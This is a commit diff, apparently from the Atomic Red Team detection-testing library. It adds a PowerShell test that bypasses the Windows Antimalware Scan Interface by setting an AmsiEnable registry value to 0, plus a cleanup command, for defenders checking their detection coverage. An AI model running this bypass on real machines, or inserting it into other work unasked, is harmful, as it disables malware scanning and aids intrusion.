Update T1562.001.yaml (#2788)

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
This commit is contained in:
NeuralGlitch
2024-05-30 05:10:55 +05:30
committed by GitHub
parent 5175bbc392
commit fbe8663f49
+15 -1
View File
@@ -1135,4 +1135,18 @@ atomic_tests:
Remove-ItemProperty -Path $registryPath -Name $newValueName
Write-Host "Registry value deleted: $newValueName"
name: powershell
elevation_required: true
elevation_required: true
- name: AMSI Bypass - Create AMSIEnable Reg Key
description: |
Threat Actor could disable the AMSI function by adding a registry value name “AmsiEnable” to the registry key “HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable” and set its value to 0.
Ref: https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d
supported_platforms:
- windows
executor:
command: |
New-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0 -PropertyType DWORD -Force | Out-Null
cleanup_command: |
Remove-Item -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Recurse -Force 2> $null
name: powershell
elevation_required: true